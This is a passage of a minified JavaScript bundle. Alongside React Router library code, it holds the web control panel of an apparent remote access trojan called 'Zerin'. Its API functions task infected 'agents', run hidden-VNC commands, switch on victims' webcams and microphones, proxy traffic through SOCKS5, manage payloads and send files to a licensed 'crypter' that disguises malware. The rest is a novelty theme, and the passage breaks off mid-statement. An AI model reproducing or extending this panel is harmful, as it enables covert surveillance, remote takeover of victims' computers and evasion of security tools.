e=="string"?i=ns(e):(i=go({},e),He(!i.pathname||!i.pathname.includes("?"),Bf("?","pathname","search",i)),He(!i.pathname||!i.pathname.includes("#"),Bf("#","pathname","hash",i)),He(!i.search||!i.search.includes("#"),Bf("#","search","hash",i)));let a=e===""||i.pathname==="",o=a?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let m=o.split("/");for(;m[0]==="..";)m.shift(),f-=1;i.pathname=m.join("/")}l=f>=0?t[f]:"/"}let c=MP(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const ii=e=>e.join("/").replace(/\/\/+/g,"/"),IP=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),DP=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,RP=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function $P(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Vj=["post","put","patch","delete"];new Set(Vj);const BP=["get",...Vj];new Set(BP);/** * React Router v6.30.3 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function yo(){return yo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),p.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=dx(u,JSON.parse(o),a,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:ii([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,a,e])}const UP=p.createContext(null);function VP(e){let t=p.useContext(nr).outlet;return t&&p.createElement(UP.Provider,{value:e},t)}function Vo(){let{matches:e}=p.useContext(nr),t=e[e.length-1];return t?t.params:{}}function Qu(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=p.useContext(Er),{matches:i}=p.useContext(nr),{pathname:a}=ia(),o=JSON.stringify(ux(i,r.v7_relativeSplatPath));return p.useMemo(()=>dx(e,JSON.parse(o),a,n==="path"),[e,o,a,n])}function HP(e,t){return KP(e,t)}function KP(e,t,n,r){rs()||He(!1);let{navigator:i}=p.useContext(Er),{matches:a}=p.useContext(nr),o=a[a.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ia(),d;if(t){var f;let y=typeof t=="string"?ns(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||He(!1),d=y}else d=u;let m=d.pathname||"/",h=m;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+m.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=gP(e,{pathname:h}),g=ZP(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:ii([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:ii([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),a,n,r);return t&&g?p.createElement(Zu.Provider,{value:{location:yo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:Yr.Pop}},g):g}function qP(){let e=tE(),t=$P(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return p.createElement(p.Fragment,null,p.createElement("h2",null,"Unexpected Application Error!"),p.createElement("h3",{style:{fontStyle:"italic"}},t),n?p.createElement("pre",{style:i},n):null,null)}const YP=p.createElement(qP,null);class GP extends p.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?p.createElement(nr.Provider,{value:this.props.routeContext},p.createElement(Kj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function XP(e){let{routeContext:t,match:n,children:r}=e,i=p.useContext(Xu);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),p.createElement(nr.Provider,{value:t},r)}function ZP(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var a;if(!n)return null;if(n.errors)e=n.matches;else if((a=r)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||He(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,m)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||YP,c&&(u<0&&m===0?(rE("route-fallback"),x=!0,y=null):u===m&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,m+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=p.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,p.createElement(XP,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||m===0)?p.createElement(GP,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var Yj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(Yj||{}),Gj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(Gj||{});function QP(e){let t=p.useContext(Xu);return t||He(!1),t}function JP(e){let t=p.useContext(Hj);return t||He(!1),t}function eE(e){let t=p.useContext(nr);return t||He(!1),t}function Xj(e){let t=eE(),n=t.matches[t.matches.length-1];return n.route.id||He(!1),n.route.id}function tE(){var e;let t=p.useContext(Kj),n=JP(),r=Xj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function nE(){let{router:e}=QP(Yj.UseNavigateStable),t=Xj(Gj.UseNavigateStable),n=p.useRef(!1);return qj(()=>{n.current=!0}),p.useCallback(function(i,a){a===void 0&&(a={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,yo({fromRouteId:t},a)))},[e,t])}const Ng={};function rE(e,t,n){Ng[e]||(Ng[e]=!0)}function iE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function Yi(e){let{to:t,replace:n,state:r,relative:i}=e;rs()||He(!1);let{future:a,static:o}=p.useContext(Er),{matches:l}=p.useContext(nr),{pathname:c}=ia(),u=rr(),d=dx(t,ux(l,a.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return p.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function aE(e){return VP(e.context)}function ft(e){He(!1)}function sE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=Yr.Pop,navigator:a,static:o=!1,future:l}=e;rs()&&He(!1);let c=t.replace(/^\/*/,"/"),u=p.useMemo(()=>({basename:c,navigator:a,static:o,future:yo({v7_relativeSplatPath:!1},l)}),[c,l,a,o]);typeof r=="string"&&(r=ns(r));let{pathname:d="/",search:f="",hash:m="",state:h=null,key:x="default"}=r,g=p.useMemo(()=>{let y=Ha(d,c);return y==null?null:{location:{pathname:y,search:f,hash:m,state:h,key:x},navigationType:i}},[c,d,f,m,h,x,i]);return g==null?null:p.createElement(Er.Provider,{value:u},p.createElement(Zu.Provider,{children:n,value:g}))}function oE(e){let{children:t,location:n}=e;return HP(hm(t),n)}new Promise(()=>{});function hm(e,t){t===void 0&&(t=[]);let n=[];return p.Children.forEach(e,(r,i)=>{if(!p.isValidElement(r))return;let a=[...t,i];if(r.type===p.Fragment){n.push.apply(n,hm(r.props.children,a));return}r.type!==ft&&He(!1),!r.props.index||!r.props.children||He(!1);let o={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=hm(r.props.children,a)),n.push(o)}),n}/** * React Router DOM v6.30.3 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function $c(){return $c=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function lE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function cE(e,t){return e.button===0&&(!t||t==="_self")&&!lE(e)}function xm(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function uE(e,t){let n=xm(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(a=>{n.append(i,a)})}),n}const dE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],fE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],pE="6";try{window.__reactRouterVersion=pE}catch{}const mE=p.createContext({isTransitioning:!1}),hE="startTransition",Sg=$2[hE];function xE(e){let{basename:t,children:n,future:r,window:i}=e,a=p.useRef();a.current==null&&(a.current=hP({window:i,v5Compat:!0}));let o=a.current,[l,c]=p.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=p.useCallback(f=>{u&&Sg?Sg(()=>c(f)):c(f)},[c,u]);return p.useLayoutEffect(()=>o.listen(d),[o,d]),p.useEffect(()=>iE(r),[r]),p.createElement(sE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const vE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",gE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,ot=p.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:a,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,m=Zj(t,dE),{basename:h}=p.useContext(Er),x,g=!1;if(typeof u=="string"&&gE.test(u)&&(x=u,vE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),k=Ha(j.pathname,h);j.origin===w.origin&&k!=null?u=k+j.search+j.hash:g=!0}catch{}let y=FP(u,{relative:i}),v=wE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return p.createElement("a",$c({},m,{href:x||y,onClick:g||a?r:b,ref:n,target:c}))}),yE=p.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:a="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Zj(t,fE),m=Qu(c,{relative:f.relative}),h=ia(),x=p.useContext(Hj),{navigator:g,basename:y}=p.useContext(Er),v=x!=null&&jE(m)&&u===!0,b=g.encodeLocation?g.encodeLocation(m).pathname:m.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=Ha(j,y)||j);const k=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let S=w===b||!o&&w.startsWith(b)&&w.charAt(k)==="/",N=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),z={isActive:S,isPending:N,isTransitioning:v},O=S?r:void 0,_;typeof a=="function"?_=a(z):_=[a,S?"active":null,N?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(z):l;return p.createElement(ot,$c({},f,{"aria-current":O,className:_,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(z):d)});var vm;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(vm||(vm={}));var zg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(zg||(zg={}));function bE(e){let t=p.useContext(Xu);return t||He(!1),t}function wE(e,t){let{target:n,replace:r,state:i,preventScrollReset:a,relative:o,viewTransition:l}=t===void 0?{}:t,c=rr(),u=ia(),d=Qu(e,{relative:o});return p.useCallback(f=>{if(cE(f,n)){f.preventDefault();let m=r!==void 0?r:Rc(u)===Rc(d);c(e,{replace:m,state:i,preventScrollReset:a,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,a,o,l])}function fx(e){let t=p.useRef(xm(e)),n=p.useRef(!1),r=ia(),i=p.useMemo(()=>uE(r.search,n.current?null:t.current),[r.search]),a=rr(),o=p.useCallback((l,c)=>{const u=xm(typeof l=="function"?l(i):l);n.current=!0,a("?"+u,c)},[a,i]);return[i,o]}function jE(e,t){t===void 0&&(t={});let n=p.useContext(mE);n==null&&He(!1);let{basename:r}=bE(vm.useViewTransitionState),i=Qu(e,{relative:t.relative});if(!n.isTransitioning)return!1;let a=Ha(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=Ha(n.nextLocation.pathname,r)||n.nextLocation.pathname;return mm(i.pathname,o)!=null||mm(i.pathname,a)!=null}const Ju="zerin_token",ed="zerin_role",td="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(Ju,n.data.token),n.data.role&&sessionStorage.setItem(ed,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function et(){return sessionStorage.getItem(Ju)}function px(e){sessionStorage.setItem(Ju,e)}function Ho(){sessionStorage.removeItem(Ju),sessionStorage.removeItem(ed),sessionStorage.removeItem(td),bo=null}function Qj(){return sessionStorage.getItem(td)||"rat"}let bo=null;function kE(){return et()?bo&&Date.now()/1e3>bo?(Ho(),!1):!0:!1}class ai extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function we(e,t={}){const n=et(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){Ho(),ui();const a=await i.text().catch(()=>"");let o="Unauthorized";if(a)try{o=JSON.parse(a).error||o}catch{o=a}throw new ai(401,o)}if(!i.ok){const a=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(a)try{o=JSON.parse(a).error||o}catch{}throw new ai(i.status,o)}if(i.status!==204)return i.json()}async function Jj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function NE(e){const t=await Jj(e.password),n=await we("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return px(n.token),bo=n.expires_at,n.role&&sessionStorage.setItem(ed,n.role),n.tier&&sessionStorage.setItem(td,n.tier),ui(),n}async function SE(e){const t=await Jj(e.password),n=await we("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return px(n.token),bo=n.expires_at,n.role&&sessionStorage.setItem(ed,n.role),n.tier&&sessionStorage.setItem(td,n.tier),ui(),n}async function e5(e){return we("/api/agents")}async function zE(e){return we(`/api/agents/${e}`)}async function t5(e){return we(`/api/agents/${e}`,{method:"DELETE"})}async function CE(e){await Promise.all(e.map(t=>t5(t)))}async function PE(e){return we(`/api/agents/${e}/ban`,{method:"POST"})}async function EE(e){return we(`/api/agents/${e}/unban`,{method:"POST"})}async function Ce(e,t){return we(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Rn(e){return we(`/api/agents/${e}/tasks`)}async function AE(){return we("/api/events")}async function _E(e,t){return we(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function OE(e){return we("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function TE(){return we("/api/payloads")}async function ME(){return we("/api/server-info")}async function LE(e){return we(`/api/payloads/${e}`,{method:"DELETE"})}async function mx(e){return we(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function IE(e){return we(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function n5(e){return we(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function DE(e){return we(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function RE(e,t,n=!1){return we(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function r5(e,t=-1){return we(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function $E(e){return we(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function i5(e){return we(`/api/agents/${e}/mic/start`,{method:"POST"})}async function BE(e){return we(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function a5(e){return we(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function FE(e){return we(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function WE(e){return we(`/api/agents/${e}/socks5/status`)}async function UE(e){const t=et(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw Ho(),ui(),new ai(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new ai(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new ai(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function VE(){return we("/api/admin/keys")}async function HE(e){return we("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function KE(e){return we(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function qE(){return we("/api/admin/operators")}async function YE(e,t){return we(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function GE(e,t){return we(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}let oc=[];function XE(e){return oc.push(e),()=>{oc=oc.filter(t=>t!==e)}}function ZE(){return kE()}function ui(){oc.forEach(e=>e())}function QE(){const e=et();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function is(){const e=p.useSyncExternalStore(XE,ZE),t=p.useCallback(()=>{ui()},[]),n=p.useCallback(()=>{Ho(),ui()},[]),r=e?QE():null;return{isAuthenticated:e,token:et(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class JE extends p.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?s.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),s.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r bg-zerin-accent hover:bg-zerin-accent-hover\r px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function eA(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,a]=p.useState(!1),[o,l]=p.useState(null),c=p.useRef(null),u=p.useRef(0),d=p.useRef(),f=p.useRef(t);f.current=t;const m=p.useCallback(()=>{const x=et();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{a(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(a(!1),c.current=null,u.current{m()},w)}else Ho(),ui()},v.onerror=()=>{v.close()}},[n,r]),h=p.useCallback(()=>{u.current=0,m()},[m]);return p.useEffect(()=>(m(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[m]),{isConnected:i,lastMessage:o,reconnect:h}}const Ff="zerin_notifications_enabled";function tA(){const[e,t]=p.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=p.useState(()=>localStorage.getItem(Ff)==="true");p.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=p.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(Ff,"true"))},[]),a=p.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(Ff,String(c)),c})},[]),o=p.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:a,notify:o,isSupported:typeof Notification<"u"}}const Wf="zerin-uwu-mode",Cg=20,nA=3e3;function rA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),a=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.05,t+.04),a.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(a).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function iA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function aA(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function sA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` left:${Math.random()*100}vw; top:${Math.random()*100}vh; width:${i}px; height:${i}px; background:${t[n%t.length]}; animation-delay:${Math.random()*.6}s; `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Pg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Eg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function oA(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(a){const f=Pg[Math.floor(Math.random()*Pg.length)];i.textContent=f,i.style.cssText=` position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; font-size:${10+Math.random()*14}px; --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; animation-delay:${Math.random()*.08}s; `}else{const f=Eg[Math.floor(Math.random()*Eg.length)],m=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; width:${m}px;height:${h}px;background:${f}; border-radius:${Math.random()>.5?"50%":"1px"}; --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; animation-delay:${Math.random()*.06}s; `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Ag=["❤️","💖","💗","💕","♥️","🌸"];let _g=0;function lA(e,t){const n=Date.now();if(n-_g<60)return;_g=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Ag[Math.floor(Math.random()*Ag.length)];const i=(Math.random()-.5)*24,a=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${a}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function Og(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function Tg(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const Mg=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function cA(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=Mg[Math.floor(Math.random()*Mg.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function uA(){const[e,t]=p.useState(()=>{try{return localStorage.getItem(Wf)==="true"}catch{return!1}}),n=p.useRef(0),r=p.useRef();p.useEffect(()=>{const a=document.documentElement.classList;return e?(a.add("femboy-theme"),Og()):(a.remove("femboy-theme"),Tg()),()=>{a.remove("femboy-theme"),Tg()}},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{oA(o.clientX,o.clientY)};return document.addEventListener("click",a,!0),()=>document.removeEventListener("click",a,!0)},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{lA(o.clientX,o.clientY)};return document.addEventListener("mousemove",a),()=>document.removeEventListener("mousemove",a)},[e]),p.useEffect(()=>{if(!e)return;const a=()=>{cA(),o=setTimeout(a,8e3+Math.random()*7e3)};let o=setTimeout(a,3e3);return()=>clearTimeout(o)},[e]);const 